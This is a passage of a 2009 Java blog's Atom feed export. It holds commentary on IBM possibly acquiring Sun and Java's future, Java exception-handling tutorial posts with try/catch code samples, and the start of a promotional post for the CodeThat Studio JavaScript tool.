&lt;b&gt;Comments&lt;/b&gt; section at the end of this article.                         &lt;/p&gt;                      &lt;/div&gt;                      &lt;p&gt;So what will all this mean when IBM and Sun get together? Opinions vary. &lt;a href="http://www.javaworld.com/javaworld/jw-01-1998/jw-01-miko.html"&gt;Miko Matsumura&lt;/a&gt;, Sun's former chief Java evangelist and now a VP and deputy CTO of &lt;a href="http://www.softwareag.com/corporate/default.asp"&gt;Software AG&lt;/a&gt; believes that the merge means the &lt;a href="http://www.javaworld.com/community/node/2635"&gt;end of the NetBeans IDE&lt;/a&gt;. Furthermore, he believes the Java Community Process, weakened by recent controversies over &lt;a href="http://www.javaworld.com/javaworld/jw-08-2008/jw-08-java-modularity.html"&gt;OSGi and Java modularity&lt;/a&gt;, will die.                      &lt;/p&gt;                      &lt;blockquote&gt;Steve [Mills, senior vice president and group executive for IBM Software Group] isn't going to come down from Mount Armonk with these commandments, but with Sun out of the picture these two communities are just going to come apart at the seams. &lt;/blockquote&gt;                      &lt;p&gt;OSGi and Java modularity debate aside, not everyone believes that IBM's stewardship spells the end of open source Java. Chris                         Dibona, Google's open-source program manager, recently opined that there would be &lt;a href="http://www.javaworld.com/javaworld/jw-03-2009/jw-03-ibm-could-benefit-java-licensing.html"&gt;fewer developer and licensing conflicts&lt;/a&gt; with IBM in charge of the JCP.                      &lt;/p&gt;                      &lt;p&gt;Habeel Gazi, research analyst with &lt;a href="http://www.infotech.com/Guest.aspx"&gt;Info-Tech Research Group&lt;/a&gt; thinks the acquisition makes great sense for IBM when it comes to Java, "Sun's crown jewel is the Java programming language.                         Having possession of Java will give IBM control of a platform that drives many applications."                      &lt;/p&gt;                      &lt;p&gt;So why hasn't Sun made more of Java? Theresa Lanowitz, founder of &lt;a href="http://www.vokeinc.com/"&gt;Voke Research&lt;/a&gt; reflects on Sun's weakness as a software-driven company: "Sun is a company that had and has very good software technology but has never found a way to monetize it," she says. "Sun remains stuck in its glory days and because of that its business has failed to evolve -- Sun perceives software as a way to sell more hardware." &lt;/p&gt;                      &lt;p&gt;Lanowitz thinks IBM will do better with Java than Sun because, actually, it always has. "Java, one of Sun's biggest contributions to technology, found its success in the market because of two key licensors early on -- IBM and Microsoft." &lt;/p&gt;                      &lt;p&gt;According to Lanowitz, "developers will benefit from IBM's stewardship of Sun technology, particularly its open source solutions. IBM will productize the acquired Sun assets and find a way for its ecosystem of partners and suppliers to benefit. You can expect Sun's software to become a business vs. an academic exercise." &lt;/p&gt;                      &lt;p&gt;While the merge might benefit developers in the long run, the culture clash between two very different companies is a concern.                         In a discussion with James Stamper of &lt;em&gt;Computer Business Review&lt;/em&gt;, James Gosling &lt;a href="http://www.businessreviewonline.com/blog/archives/2009/03/james_gosling_w.html"&gt;warned of the challenges of integration&lt;/a&gt;. "We're definitely weirder than they are," said Gosling. "We grew up from a bunch of hippies, almost with flowers in our                         hair."                      &lt;/p&gt;                      &lt;p&gt;Still, the company has evolved from those early days, said Gosling. "We're a much more grown-up company now [than when Sun                         was founded] with a very different group of people. We've become a full-on enterprise software company."                      &lt;/p&gt;                      &lt;p&gt;Geoff Feldman, owner of Seabase Consulting, isn't optimistic about the merge. Feldman expects Sun to get "What VAX/VMS and                         DEC got from HP -- absorption."                      &lt;/p&gt;                      &lt;p&gt;Feldman said, "Let's not forget that unlike other alternatives, Java is &lt;em&gt;not&lt;/em&gt; an open standard. It's entirely under the control of Sun." Given the same conditions of ownership under IBM, he warned, "I think you can look for very much tighter approaches to licenses and cooperation [...] People forget the days of 'Big Blue.' Do you think they actually ended?" &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7247801859921344322?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7247801859921344322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7247801859921344322' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7247801859921344322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7247801859921344322'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/if-ibm-owns-java.html' title='If IBM owns Java ...'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2417142427055642869</id><published>2009-03-29T07:10:00.000-07:00</published><updated>2009-03-29T07:11:17.756-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>The catch Blocks</title><content type='html'>You associate exception handlers with a &lt;code&gt;try&lt;/code&gt; block by  providing one or more &lt;code&gt;catch&lt;/code&gt; blocks directly after the &lt;code&gt;try&lt;/code&gt; block. No code can be between the end of the &lt;code&gt;try&lt;/code&gt; block and the beginning of the first &lt;code&gt;catch&lt;/code&gt; block.  &lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;   &lt;br /&gt;} catch (&lt;i&gt;ExceptionType name&lt;/i&gt;) {&lt;br /&gt;   &lt;br /&gt;} catch (&lt;i&gt;ExceptionType name&lt;/i&gt;) {&lt;br /&gt;   &lt;br /&gt;} &lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; Each &lt;code&gt;catch&lt;/code&gt; block is an exception handler and handles  the type of exception indicated by its argument. The argument type,  &lt;code&gt;&lt;i&gt;ExceptionType&lt;/i&gt;&lt;/code&gt;, declares the type of exception that  the handler can handle and must be the name of a class that  inherits from the &lt;code&gt;Throwable&lt;/code&gt; class. The handler can  refer to the exception with &lt;code&gt;&lt;i&gt;name&lt;/i&gt;&lt;/code&gt;.  &lt;p&gt; The &lt;code&gt;catch&lt;/code&gt; block contains code that is executed if and when the exception handler is invoked. The runtime system invokes the exception handler when the handler is the first one in the call stack whose &lt;code&gt;&lt;i&gt;ExceptionType&lt;/i&gt;&lt;/code&gt; matches the type of the  exception thrown. The system considers it a match if the  thrown object can legally be assigned to the exception handler's argument. &lt;/p&gt;&lt;p&gt; The following are two exception handlers for the &lt;code&gt;writeList&lt;/code&gt; method — one for two types of checked exceptions that can be thrown within the &lt;code&gt;try&lt;/code&gt; statement.   &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;   &lt;br /&gt;} catch (FileNotFoundException e) {&lt;br /&gt;   System.err.println("FileNotFoundException: "&lt;br /&gt;                       + e.getMessage());&lt;br /&gt;   throw new SampleException(e);&lt;br /&gt;  &lt;br /&gt;} catch (IOException e) {&lt;br /&gt;   System.err.println("Caught IOException: "&lt;br /&gt;                       + e.getMessage());&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  Both handlers print an error message. The second handler does nothing else.  By catching any &lt;code&gt;IOException&lt;/code&gt; that's not caught by the first handler, it allows the program to continue executing. &lt;p&gt; The first handler, in addition to printing a message, throws a user-defined exception. (Throwing exceptions is covered in detail later in this chapter in the   &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/throwing.html"&gt;How to Throw Exceptions&lt;/a&gt; section.)   In this example, when the &lt;code&gt;FileNotFoundException&lt;/code&gt; is caught it causes a user-defined exception called &lt;code&gt;SampleException&lt;/code&gt; to be thrown. You might want to do this if you want your program to handle an exception in this situation in a specific way.  &lt;/p&gt;&lt;p&gt;      Exception handlers can do more than just print error messages or halt the program. They can do error recovery, prompt the user to make a decision, or propagate the error up to a higher-level handler using chained exceptions, as described in the  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/chained.html"&gt;Chained Exceptions&lt;/a&gt; section.           &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2417142427055642869?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2417142427055642869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2417142427055642869' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2417142427055642869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2417142427055642869'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/catch-blocks.html' title='The catch Blocks'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5449872959897629780</id><published>2009-03-29T07:09:00.000-07:00</published><updated>2009-03-29T07:10:25.483-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>The try Block</title><content type='html'>The first step in constructing an exception handler is to enclose the code that might throw an exception within a &lt;code&gt;try&lt;/code&gt; block. In general, a &lt;code&gt;try&lt;/code&gt; block looks like the following.  &lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;   &lt;em&gt;code&lt;/em&gt;&lt;br /&gt;}&lt;br /&gt;&lt;em&gt;catch and finally blocks . . .&lt;/em&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  The segment in the example labeled &lt;code&gt;&lt;em&gt;code&lt;/em&gt;&lt;/code&gt; contains one or more legal lines of code that could throw an exception. (The &lt;code&gt;catch&lt;/code&gt; and &lt;code&gt;finally&lt;/code&gt; blocks are explained in the next two subsections.) &lt;p&gt; To construct an exception handler for the &lt;code&gt;writeList&lt;/code&gt; method from the &lt;code&gt;ListOfNumbers&lt;/code&gt; class, enclose the exception-throwing statements of the &lt;code&gt;writeList&lt;/code&gt; method within a &lt;code&gt;try&lt;/code&gt; block. There is more than one way to do this. You can put each line of code that might  throw an exception within its own &lt;code&gt;try&lt;/code&gt; block and provide separate  exception handlers for each. Or, you can put all the &lt;code&gt;writeList&lt;/code&gt; code  within a single &lt;code&gt;try&lt;/code&gt; block and associate multiple handlers with it.  The following listing uses one &lt;code&gt;try&lt;/code&gt; block for the entire method  because the code in question is very short.  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;private Vector vector;&lt;br /&gt;private static final int SIZE = 10;&lt;br /&gt;&lt;br /&gt;PrintWriter out = null;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;   System.out.println("Entered try statement");&lt;br /&gt;   out = new PrintWriter(new FileWriter("OutFile.txt"));&lt;br /&gt;   for (int i = 0; i &lt; SIZE; i++) {&lt;br /&gt;       out.println("Value at: " + i + " = "&lt;br /&gt;                    + vector.elementAt(i));&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;em&gt;catch and finally statements . . .&lt;/em&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; If an exception occurs within the &lt;code&gt;try&lt;/code&gt; block, that  exception is handled by an exception handler associated with it.  To associate an exception handler with a &lt;code&gt;try&lt;/code&gt; block,  you must put a &lt;code&gt;catch&lt;/code&gt; block after it; the next section shows you how.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5449872959897629780?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5449872959897629780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5449872959897629780' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5449872959897629780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5449872959897629780'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/try-block.html' title='The try Block'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5580356943118468310</id><published>2009-03-29T07:08:00.002-07:00</published><updated>2009-03-29T07:09:41.609-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Catching and Handling Exceptions</title><content type='html'>This section describes how to use the three  exception handler components — the &lt;code&gt;try&lt;/code&gt;,  &lt;code&gt;catch&lt;/code&gt;, and &lt;code&gt;finally&lt;/code&gt; blocks — to write  an exception handler. The last part of this section walks  through an example and analyzes what occurs during various scenarios. &lt;p&gt; The following example defines and implements a class named  &lt;code&gt;ListOfNumbers&lt;/code&gt;. When constructed, &lt;code&gt;ListOfNumbers&lt;/code&gt;  creates a &lt;code&gt;Vector&lt;/code&gt; that contains 10 &lt;code&gt;Integer&lt;/code&gt;  elements with sequential values 0 through 9. The &lt;code&gt;ListOfNumbers&lt;/code&gt;  class also defines a method named &lt;code&gt;writeList&lt;/code&gt;, which writes the  list of numbers into a text file called &lt;code&gt;OutFile.txt&lt;/code&gt;. This  example uses output classes defined in &lt;code&gt;java.io&lt;/code&gt;, which are  covered in  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/index.html"&gt;Basic I/O&lt;/a&gt;.  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;//Note: This class won't compile by design!&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.util.Vector;&lt;br /&gt;&lt;br /&gt;public class ListOfNumbers {&lt;br /&gt;&lt;br /&gt;   private Vector vector;&lt;br /&gt;   private static final int SIZE = 10;&lt;br /&gt;&lt;br /&gt;   public ListOfNumbers () {&lt;br /&gt;       vector = new Vector(SIZE);&lt;br /&gt;       for (int i = 0; i &lt; SIZE; i++) {&lt;br /&gt;           vector.addElement(new Integer(i));&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   public void writeList() {&lt;br /&gt;       PrintWriter out = new PrintWriter(&lt;br /&gt;                           &lt;b&gt;new FileWriter("OutFile.txt")&lt;/b&gt;);&lt;br /&gt;&lt;br /&gt;       for (int i = 0; i &lt; SIZE; i++) {&lt;br /&gt;           out.println("Value at: " + i + " = " +&lt;br /&gt;                        &lt;b&gt;vector.elementAt(i)&lt;/b&gt;);&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       out.close();&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  The first line in boldface is a call to a constructor. The constructor  initializes an output stream on a file. If the file cannot be opened,  the constructor throws an &lt;code&gt;IOException&lt;/code&gt;. The second  boldface line is a call to the &lt;code&gt;Vector&lt;/code&gt; class's  &lt;code&gt;elementAt&lt;/code&gt; method, which throws an  &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt; if the value of its  argument is too small (less than 0) or too large (more than  the number of elements currently contained by the &lt;code&gt;Vector&lt;/code&gt;).  &lt;p&gt; If you try to compile the   &lt;a class="SourceLink" target="_blank" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/examples/ListOfNumbers.java"&gt;&lt;code&gt;&lt;code&gt;ListOfNumbers&lt;/code&gt;&lt;/code&gt;&lt;/a&gt; class, the compiler prints an error message about the exception thrown by  the &lt;code&gt;FileWriter&lt;/code&gt; constructor. However, it does not  display an error message about the exception thrown by  &lt;code&gt;elementAt&lt;/code&gt;. The reason is that the exception thrown  by the constructor, &lt;code&gt;IOException&lt;/code&gt;, is a checked exception, and the one thrown by the &lt;code&gt;elementAt&lt;/code&gt; method,  &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt;, is an unchecked exception. &lt;/p&gt;&lt;p&gt; Now that you're familiar with the &lt;code&gt;ListOfNumbers&lt;/code&gt;  class and where the exceptions can be thrown within it, you're  ready to write exception handlers to catch and handle those exceptions.           &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5580356943118468310?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5580356943118468310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5580356943118468310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5580356943118468310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5580356943118468310'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/catching-and-handling-exceptions.html' title='Catching and Handling Exceptions'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1784096064856125035</id><published>2009-03-29T07:08:00.001-07:00</published><updated>2009-03-29T07:08:50.647-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>The Catch or Specify Requirement</title><content type='html'>Valid Java programming language code must honor the &lt;i&gt;Catch or     Specify Requirement&lt;/i&gt;. This means that code that might throw certain exceptions must be enclosed by either of the following: &lt;ul&gt;&lt;li&gt;A &lt;code&gt;try&lt;/code&gt; statement that catches the exception. The     &lt;code&gt;try&lt;/code&gt; must provide a handler for the exception, as     described in &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/handling.html"&gt;Catching and Handling Exceptions&lt;/a&gt;.     &lt;/li&gt;&lt;li&gt;A method that specifies that it can throw the     exception. The method must provide a &lt;code&gt;throws&lt;/code&gt; clause     that lists the exception, as described in  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/declaring.html"&gt;Specifying the Exceptions Thrown by a Method&lt;/a&gt;. &lt;/li&gt;&lt;/ul&gt; Code that fails to honor the Catch or Specify Requirement will not compile. &lt;p&gt; Not all exceptions are subject to the Catch or Specify Requirement. To understand why, we need to look at the three basic categories of exceptions, only one of which is subject to the Requirement. &lt;/p&gt;&lt;h3&gt;The Three Kinds of Exceptions&lt;/h3&gt; The first kind of exception is the &lt;i&gt;checked exception&lt;/i&gt;. These are exceptional conditions that a well-written application should anticipate and recover from. For example, suppose an application prompts a user for an input file name, then opens the file by passing the name to the constructor for &lt;code&gt;java.io.FileReader&lt;/code&gt;. Normally, the user provides the name of an existing, readable file, so the construction of the &lt;code&gt;FileReader&lt;/code&gt; object succeeds, and the execution of the application proceeds normally. But sometimes the user supplies the name of a nonexistent file, and the constructor throws &lt;code&gt;java.io.FileNotFoundException&lt;/code&gt;. A well-written program will catch this exception and notify the user of the mistake, possibly prompting for a corrected file name. &lt;p&gt; Checked exceptions &lt;i&gt;are subject&lt;/i&gt; to the Catch or Specify Requirement. All exceptions are checked exceptions, except for those indicated by &lt;code&gt;Error&lt;/code&gt;, &lt;code&gt;RuntimeException&lt;/code&gt;, and their subclasses. &lt;/p&gt;&lt;p&gt; The second kind of exception is the &lt;i&gt;error&lt;/i&gt;. These are exceptional conditions that are external to the application, and that the application usually cannot anticipate or recover from. For example, suppose that an application successfully opens a file for input, but is unable to read the file because of a hardware or system malfunction. The unsuccessful read will throw &lt;code&gt;java.io.IOError&lt;/code&gt;. An application might choose to catch this exception, in order to notify the user of the problem — but it also might make sense for the program to print a stack trace and exit. &lt;/p&gt;&lt;p&gt; Errors &lt;i&gt;are not subject&lt;/i&gt; to the Catch or Specify Requirement. Errors are those exceptions indicated by &lt;code&gt;Error&lt;/code&gt; and its subclasses. &lt;/p&gt;&lt;p&gt; The third kind of exception is the &lt;i&gt;runtime exception&lt;/i&gt;. These are exceptional conditions that are internal to the application, and that the application usually cannot anticipate or recover from. These usually indicate programming bugs, such as logic errors or improper use of an API. For example, consider the application described previously that passes a file name to the constructor for &lt;code&gt;FileReader&lt;/code&gt;. If a logic error causes a &lt;code&gt;null&lt;/code&gt; to be passed to the constructor, the constructor will throw &lt;code&gt;NullPointerException&lt;/code&gt;. The application can catch this exception, but it probably makes more sense to eliminate the bug that caused the exception to occur. &lt;/p&gt;&lt;p&gt; Runtime exceptions &lt;i&gt;are not subject&lt;/i&gt; to the Catch or Specify Requirement. Runtime exceptions are those indicated by &lt;code&gt;RuntimeException&lt;/code&gt; and its subclasses. &lt;/p&gt;&lt;p&gt; Errors and runtime exceptions are collectively known as &lt;i&gt;unchecked     exceptions&lt;/i&gt;. &lt;/p&gt;&lt;h3&gt;Bypassing Catch or Specify&lt;/h3&gt; Some programmers consider the Catch or Specify Requirement a serious flaw in the exception mechanism and bypass it by using unchecked exceptions in place of checked exceptions.  In general, this is not recommended.  The section  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/runtime.html"&gt;Unchecked Exceptions — The Controversy&lt;/a&gt; talks about when it is appropriate to use unchecked exceptions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1784096064856125035?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1784096064856125035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1784096064856125035' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1784096064856125035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1784096064856125035'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/catch-or-specify-requirement.html' title='The Catch or Specify Requirement'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2751813213351364565</id><published>2009-03-29T07:04:00.000-07:00</published><updated>2009-03-29T07:07:57.457-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>What Is an Exception?</title><content type='html'>The term &lt;em&gt;exception&lt;/em&gt; is shorthand for the phrase "exceptional event."  &lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Definition:&lt;/strong&gt;  An &lt;em&gt;exception&lt;/em&gt; is an event, which occurs during the execution of a program, that disrupts  the normal flow of the program's instructions. &lt;hr /&gt;&lt;/blockquote&gt;  &lt;p&gt; When an error occurs within a method, the method creates an object  and hands it off to the runtime system. The object, called an  &lt;em&gt;exception object&lt;/em&gt;, contains information about the error,  including its type and the state of the program when the  error occurred. Creating an exception object and handing it to  the runtime system is called &lt;em&gt;throwing an exception&lt;/em&gt;.   &lt;/p&gt;&lt;p&gt;  After a method throws an exception, the runtime system attempts  to find something to handle it. The set of possible "somethings"  to handle the exception is the ordered list of methods that had  been called to get to the method where the error occurred. The  list of methods is known as the &lt;em&gt;call stack&lt;/em&gt; (see   &lt;span id="figure:exceptions-callstack.gif"&gt;the next figure&lt;/span&gt;).  &lt;/p&gt;&lt;center&gt;&lt;p&gt;&lt;img src="http://java.sun.com/docs/books/tutorial/figures/essential/exceptions-callstack.gif" alt="The call stack showing three method calls, where the first method called has the exception handler." width="218" align="bottom" height="245" /&gt;&lt;/p&gt;&lt;p class="FigureCaption"&gt;The call stack.&lt;/p&gt;&lt;/center&gt;  The runtime system searches the call stack for a method  that contains a block of code that can handle the  exception. This block of code is called an &lt;em&gt;exception  handler&lt;/em&gt;. The search begins with the method in which  the error occurred and proceeds through the call stack  in the reverse order in which the methods were called.  When an appropriate handler is found, the runtime  system passes the exception to the handler. An exception  handler is considered appropriate if the type of the  exception object thrown matches the type that  can be handled by the handler.   &lt;p&gt;  The exception handler  chosen is said to &lt;em&gt;catch the exception&lt;/em&gt;. If the  runtime system exhaustively searches all the methods on  the call stack without finding an appropriate exception  handler, as shown in   &lt;span id="figure:exceptions-errorOccurs.gif"&gt;the next figure&lt;/span&gt;, the runtime system (and, consequently, the program) terminates.  &lt;/p&gt;&lt;center&gt;&lt;p&gt;&lt;img src="http://java.sun.com/docs/books/tutorial/figures/essential/exceptions-errorOccurs.gif" alt="The call stack showing three method calls, where the first method called has the exception handler." width="343" align="bottom" height="246" /&gt;&lt;/p&gt;&lt;p class="FigureCaption"&gt;Searching the call stack for the exception handler.&lt;/p&gt;&lt;/center&gt;  Using exceptions to manage errors has some advantages over  traditional error-management techniques. You can learn more  in the   &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/exceptions/advantages.html"&gt;Advantages of Exceptions&lt;/a&gt; section.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2751813213351364565?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2751813213351364565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2751813213351364565' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2751813213351364565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2751813213351364565'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/what-is-exception.html' title='What Is an Exception?'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6464274504294634098</id><published>2009-03-29T06:46:00.000-07:00</published><updated>2009-03-29T06:50:50.260-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>CodeThat Studio 2.5.0</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.codethat.com/builder/img/first_screen.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 354px; height: 257px;" src="http://www.codethat.com/builder/img/first_screen.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CodeThat Studio is a powerful tool that enables you to create JavaScript solutions from CodeThat.Com fast and easy. With CodeThat Studio you can design the structure and customize the appearance of your scripts in easy-to-learn visual environment. Any special skills are optional! You can start using CodeThat Studio right now. You can use it without having knowledge of advanced programming languages or Web scripts. In CodeThat Studio you just arrange the elements in the visual environment, specify the basic options (such as colors and font attributes) and then produce the JavaScript code, which is ready to integration into HTML pages.&lt;div style="text-align: left;"&gt;   &lt;/div&gt;&lt;div style="text-align: left;"&gt;  &lt;span style="font-size:85%;"&gt;&lt;p&gt;Get the power to create web controls at you fingertips with &lt;b&gt;CodeThat Studio&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;This intrusive tool will give you the exclusive ability to create JavaScript solutions with ease. The tool allows you to structure design and customize the appearance of your scripts. Designing rich Web menus, trees, calendars or grids and implementing them into your Web pages can be done with ease. Get full control over visual properties and behavior options of your web controls. The simple environment of the tool allows the novice users without the knowledge of HTML, CSS and Jscript technologies to create powerful web options and controls. You can easily produce the JavaScript code, which is ready to be integrated into HTML pages by simple arranging of elements in the visual environment, these can be specified with the basic options like; colors and font attributes too. &lt;/p&gt;&lt;/span&gt;&lt;b&gt;CodeThat Studio&lt;/b&gt; also is featured to edit the received code to add extra features manually by advanced users&lt;br /&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.freedownloadscenter.com/Web_Authoring/Java_Programming_Tools/CodeThat_Studio_Download.html"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) 